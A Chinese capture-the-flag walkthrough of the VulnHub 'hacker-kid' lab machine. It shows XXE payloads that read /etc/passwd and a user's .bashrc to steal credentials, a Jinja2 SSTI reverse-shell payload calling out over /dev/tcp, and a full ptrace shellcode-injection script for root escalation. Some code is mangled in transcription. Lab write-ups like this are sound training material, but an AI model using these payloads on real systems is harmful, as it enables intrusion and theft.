vulnhub靶场之【hacker-kid靶机】

admin 2025年4月21日00:21:13评论0 views字数 7941阅读26分28秒阅读模式

前言

长时间没有更新了,本人目前因为刚找到工作不久,需要时间适应,所以到现在很长时间没有更新,对大家,我很是抱歉,后面会更新,只是时间可能不固定了,希望大家能理解一下。(ps:目前工作和渗透没有关系,倒是接触到几个安防设备)

靶机:hacker-kid靶机,IP地址为192.168.5.8

攻击:kali,IP地址为192.168.5.7

靶机和攻击机都采用VMware虚拟机,都采用桥接网卡模式

文章涉及的靶机及工具,都可以自行访问官网或者项目地址进行获取,因为我的网盘到期了,暂时不放网盘链接了

主机发现

也就是相当于现实环境中去发现确定主机的ip地址,因为这里是靶机环境,所以跳过了从域名到ip地址的过程。

使用arp-scan -l或者netdiscovery -r 192.168.5.1/24

当然也可以使用nmap等工具进行

arp-scan -l
vulnhub靶场之【hacker-kid靶机】

信息收集

使用nmap扫描目标端口等信息

首先扫描目标的tcp端口的开放情况

nmap -sT --min-rate=1000 192.168.5.7 -p- -oA nmap-tcp
vulnhub靶场之【hacker-kid靶机】

再扫描udp端口的开放情况

nmap -sU --min-rate=1000 192.168.5.7 --top-ports 20 -oA nmap-udp
vulnhub靶场之【hacker-kid靶机】

可以看到明确开放的udp端口很少,过滤的偏多,但是记住有过滤的。下面对tcp端口进行一个筛选

ports=`grep open nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','`
vulnhub靶场之【hacker-kid靶机】

进一步对这些端口进行服务、系统等探测

nmap -sV -O -sC 192.168.5.7 -p $ports --min-rate=1000 -oA detail
vulnhub靶场之【hacker-kid靶机】

再使用nmap的漏洞检测脚本对这些端口进行探测

nmap --script=vuln 192.168.5.7 -p $ports -oA vuln
vulnhub靶场之【hacker-kid靶机】

网站信息收集

访问80端口进行查看

vulnhub靶场之【hacker-kid靶机】

这就是去寻找,查看页面源代码并未发现信息

vulnhub靶场之【hacker-kid靶机】

现在尝试进行目录爆破,使用gobuster、dirsearch、ffuf、dirb等工具进行测试

gobuster dir -u http://192.168.5.7 -w /usr/share/wordlists/dirb/big.txt -b 404,403 -x php,html,txt,md
vulnhub靶场之【hacker-kid靶机】

可以看到几个目录,访问app.html

vulnhub靶场之【hacker-kid靶机】

界面是这样的,但是查看页面源代码以及实际测试后,发现点击任何地方,都是在当前页面,也就是超链接指向的是#

访问form.html界面

vulnhub靶场之【hacker-kid靶机】

经过测试,以及查看页面源代码,并没有发现可疑之处

访问其他的几个目录,也没有任何效果

访问9999端口,发现有趣的地方,是一个登录界面

vulnhub靶场之【hacker-kid靶机】

查看页面源代码,发现其form表单是对数据进行处理的,那么这里就可能是一个可用点

vulnhub靶场之【hacker-kid靶机】

尝试进行相关的测试,发现不存在sql注入。并且如果爆破的话,时间太久,这个最后考虑

信息回顾

再次回顾,看有无遗漏点

发现在80端口的默认界面的页面源代码是有遗漏的,是指定的一个参数page_no,在上面的截图中可疑看到,这里也放一下吧

vulnhub靶场之【hacker-kid靶机】

那么对这个进行测试,确定这个参数有什么东西

ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://192.168.5.7/?page_no=FUZZ -fs 3654
vulnhub靶场之【hacker-kid靶机】

看到当参数page_no的值为21时,所显示的页面字节大小是不同于默认的,访问查看一下

vulnhub靶场之【hacker-kid靶机】

这里提到一个域名hackers.blackhat.local,并且说可能有很多子域名,所以需要进行子域名的挖掘

域名挖掘

这里因为是本地的搭建,所以需要借助dig中的语法,实现通过指定目标进行挖掘

dig hackers.blackhat.local @192.168.5.7

这里就是把目标ip中涉及到的域名给挖掘了

vulnhub靶场之【hacker-kid靶机】

这时候,把这几个域名和目标ip进行绑定

hackers.blackhat.local
blackhat.local
hackerkid.blackhat.local

linuxwindows两个操作系统中,都是通过编辑hosts文件绑定解析,不过位置不同

vulnhub靶场之【hacker-kid靶机】

分别访问这三个域名,最终在hackerkid.blackhat.local发现不同的界面

vulnhub靶场之【hacker-kid靶机】

XXE漏洞

直接输入测试,发现提示邮箱错误,并且是显示出的,但是邮箱的格式并没有问题,使用burp抓取数据包进行查看,发现在点击注册后,请求数据是以xml的形式请求的,那么是否存在相关漏洞呢,进行测试

//这里是原始的请求数据
<?xml version="1.0" encoding="UTF-8"?>
<root>
<name>
            admin
</name>
<tel>
            123
</tel>
<email>
            [email protected]
</email>
<password>
            12345
</password>
</root>

提示如下

vulnhub靶场之【hacker-kid靶机】

那么是否这里的email参数,我写什么,就会回显什么,若是带有注入的呢,对数据进行修改,再进行测试

//这里是修改后的数据
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY xxeSYSTEM"file:///etc/passwd">
]>

<root>
<name>
            admin
</name>
<tel>
            123
</tel>
<email>
&xxe;
</email>
<password>
            12345
</password>
</root>
vulnhub靶场之【hacker-kid靶机】

可以看到,对于文件访问,可以直接查看的,并且在/etc/passwd文件中,还是发现有一个用户saket的,截图没有截取,但是是有的,且目录是/home/saket

这里并没有ssh,所以知道这个用户名及家目录,能获取到的,就需要测试了

通过测试远程代码执行,发现 expect://是不行的

<!DOCTYPE email [
<!ENTITY xxeSYSTEM"expect://id">
]>

那么尝试文件读取吧,因为有可能存在限制,所以采用php://filter,尝试读取在用户主目录下可能存在的文件,进行一个个的测试,当然最好的方式就是通过自己收集的字典去进行爆破

<!DOCTYPE email [
<!ENTITY xxeSYSTEM"php://filter/convert.base64-encode/resource=/home/saket/.bashrc">
]>

如下面常见的文件

.bash_history
.profile
.zshrc
.bashrc
.ssh/id_rsa
vulnhub靶场之【hacker-kid靶机】

然后进行爆破

vulnhub靶场之【hacker-kid靶机】

可以看到两个文件读取到内容.profile.bashrc,尝试进行解码操作

.profile中并未看到有用的信息

.bashrc文件,发现用户名admin和密码Saket!#$%@!!

vulnhub靶场之【hacker-kid靶机】

之前可以登录的地方,只有9999端口的网站,访问后,以这一组凭证进行登录,发现不对。

联想到文件是用户saket的,是否用户名为saket,测试发现确实是如此

vulnhub靶场之【hacker-kid靶机】

查看页面源代码,也没有信息,这里只有说告诉它名字,联想到这里是按照对面的指示一步步的发现的,可能有参数吧,进行测试,根据提示先猜测是否是name,若不是再借助工具去进行爆破

vulnhub靶场之【hacker-kid靶机】

确实是,查看页面源代码还是没有信息,不过经过测试,发现参数name的值,输入什么,就会显示什么,测试发现sql、xss注入并未有效果

SSTI注入

不过还有一种注入,是ssti注入,若是有可以显示用户输入的信息时,也可能存在的。

尝试输入特殊字符(如{{}}{% %}${}<%%>),观察页面是否直接显示输入内容,或是否出现异常报错。

模板引擎类型
测试 Payload
预期结果(存在漏洞)
Jinja2(Python) {{7*7}}
响应中出现49(计算结果)
FreeMarker(Java) ${7+7}
响应中出现14
Twig(PHP) {{7*'7'[0]}}
响应中出现7(字符串拼接)
EJS(Node.js) <%= 7*7 %>
响应中出现49
Mako(Python) ${7+7}
响应中出现14
Velocity(Java) #set($a=7+7) $a
响应中出现14
  • • 若{}被过滤,尝试:
    • {%7*7%}(Jinja2 标签语法)
    • <%%=7*7%>(EJS 标签语法)

测试后,发现在{{}}{%%}时,出现报错,那么极有可能存在注入,进行测试{{7*7}},发现返回49,说明确实渲染了

vulnhub靶场之【hacker-kid靶机】

构造语句,进行反弹shell

{%import os%}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.5.8/9999 0>&1"')}}
#进行url编码,因为在url请求中,最好进行编码处理
{%import%20os%}{{os.system(%27bash%20-c%20%22bash%20-i%20%3E&%20/dev/tcp/192.168.5.8/9999%200%3E&1%22%27)}}

kali中开启一个监听9999端口,然后执行上面的语句

vulnhub靶场之【hacker-kid靶机】

python2的cap_sys_ptrace提权

首先收集信息,查看历史命令记录,发现多次使用python2.7执行inject.py,并且nc监听5600端口也是多次。还筛选了root的进程,啧,这什么意思

vulnhub靶场之【hacker-kid靶机】

那么尝试使用getcap查看python2.7Capabilities权限

getcap

不过这里的明显是有限制的

vulnhub靶场之【hacker-kid靶机】

所以需要指定/sbin/getcap,然后结合find去寻找一下吧

find / -type f -executable 2>/dev/null | xargs /sbin/getcap -r 2>/dev/null
vulnhub靶场之【hacker-kid靶机】

看到,并没有cap_setuid+ep权限的文件,那么指向python2.7有什么寓意

再查看进程

ps -eaf|grep root

不清楚,暂时搁置

在经历漫长的测试后,有点迷茫,不知道该怎么提权了,因为该测试的都测试了,常规sudo,内核,上传脚本检测都有,提权是个问题

所以再回到这里思考,搜索Capabilities中对应的几个权限,尝试从这里下手

vulnhub靶场之【hacker-kid靶机】

啧,看来要学的是挺多的,之前一直以为在cap_setuid+ep权限时可以提权,没想到不是这个权限的,还可以提升至该权限。

下面是根据网上的搜索,根据github上的项目进行的编写python脚本

# inject.py
# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c 

import ctypes
import sys
import struct

# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html

PTRACE_POKETEXT   = 4
PTRACE_GETREGS    = 12
PTRACE_SETREGS    = 13
PTRACE_ATTACH     = 16
PTRACE_DETACH     = 17

# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct

classuser_regs_struct(ctypes.Structure):
    _fields_ = [
        ("r15", ctypes.c_ulonglong),
        ("r14", ctypes.c_ulonglong),
        ("r13", ctypes.c_ulonglong),
        ("r12", ctypes.c_ulonglong),
        ("rbp", ctypes.c_ulonglong),
        ("rbx", ctypes.c_ulonglong),
        ("r11", ctypes.c_ulonglong),
        ("r10", ctypes.c_ulonglong),
        ("r9", ctypes.c_ulonglong),
        ("r8", ctypes.c_ulonglong),
        ("rax", ctypes.c_ulonglong),
        ("rcx", ctypes.c_ulonglong),
        ("rdx", ctypes.c_ulonglong),
        ("rsi", ctypes.c_ulonglong),
        ("rdi", ctypes.c_ulonglong),
        ("orig_rax", ctypes.c_ulonglong),
        ("rip", ctypes.c_ulonglong),
        ("cs", ctypes.c_ulonglong),
        ("eflags", ctypes.c_ulonglong),
        ("rsp", ctypes.c_ulonglong),
        ("ss", ctypes.c_ulonglong),
        ("fs_base", ctypes.c_ulonglong),
        ("gs_base", ctypes.c_ulonglong),
        ("ds", ctypes.c_ulonglong),
        ("es", ctypes.c_ulonglong),
        ("fs", ctypes.c_ulonglong),
        ("gs", ctypes.c_ulonglong),
    ]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, NoneNone)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))

print("Instruction Pointer: " + hex(registers.rip))

print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db.
shellcode="x48x31xc0x48x31xd2x48x31xf6xffxc6x6ax29x58x6ax02x5fx0fx05x48x97x6ax02x66xc7x44x24x02x15xe0x54x5ex52x6ax31x58x6ax10x5ax0fx05x5ex6ax32x58x0fx05x6ax2bx58x0fx05x48x97x6ax03x5exffxcexb0x21x0fx05x75xf8xf7xe6x52x48xbbx2fx62x69x6ex2fx2fx73x68x53x48x8dx3cx24xb0x3bx0fx05"

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):

# Convert the byte to little endian.
  shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
  shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('x00').encode('hex')
  shellcode_byte=int(shellcode_byte_little_endian,16)

# Inject the byte.
  libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)

print("Shellcode Injected!!")

# Modify the instuction pointer
registers.rip=registers.rip+2

# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))

print("Final Instruction Pointer: " + hex(registers.rip))

# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, NoneNone)

大致说明一下,该脚本启动需要搭载在以root为主的进程中,所以需要筛选ps

然后启动后,以5600端口为介质,进行的提权操作

这里选择以apache的进程进行搭载

ps -eaf | grep root
vulnhub靶场之【hacker-kid靶机】

然后在kali中使用EOF把上面的python代码写入到一个文件中inject.py,并给予执行权限

cat << 'EOF' > inject.py
>代码....

>
EOF    //表示结束

执行这个脚本

python2.7 inject.py 976

这里我虽然执行了,但是并没有在5600端口监听,所以还是选择进行遍历操作

编写下面代码

for i in `ps -eaf|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done

执行成功,大概就是这种样子

vulnhub靶场之【hacker-kid靶机】

然后通过netstatss查看对应的5600端口

netstat -antulp | grep 5600
ss -antulp | grep 5600
vulnhub靶场之【hacker-kid靶机】

这时在kali通过nc进行正向连接,即可获得root权限的终端

vulnhub靶场之【hacker-kid靶机】

总结

该靶场的几个方面是我不太熟练的,通过这个靶机也是加深了印象

  1. 1.dig指定目标进行对应的域名挖掘
  2. 2. 隐藏信息的提示,不可忽略,所以要能看懂一些英文
  3. 3. XXE漏洞的利用,获取关键信息
  4. 4. 对于用户的主目录下的一些常见文件要有印象,或者有自己的一个字典
  5. 5. SSTI注入的利用,这个要清楚
  6. 6. 提权的Capabilities的几种权限,大致知道,并且要知道权限之间也是可以提升的

参考链接

  1. 1.https://blog.pentesteracademy.com/privilege-escalation-by-abusing-sys-ptrace-linux-capability-f6e6ad2a59cc
  2. 2.https://www.cnblogs.com/zlgxzswjy/p/15185591.html

原文始发于微信公众号(泷羽sec-何生安全):vulnhub靶场之【hacker-kid靶机】

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月21日00:21:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   vulnhub靶场之【hacker-kid靶机】http://cn-sec.com/archives/3978513.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息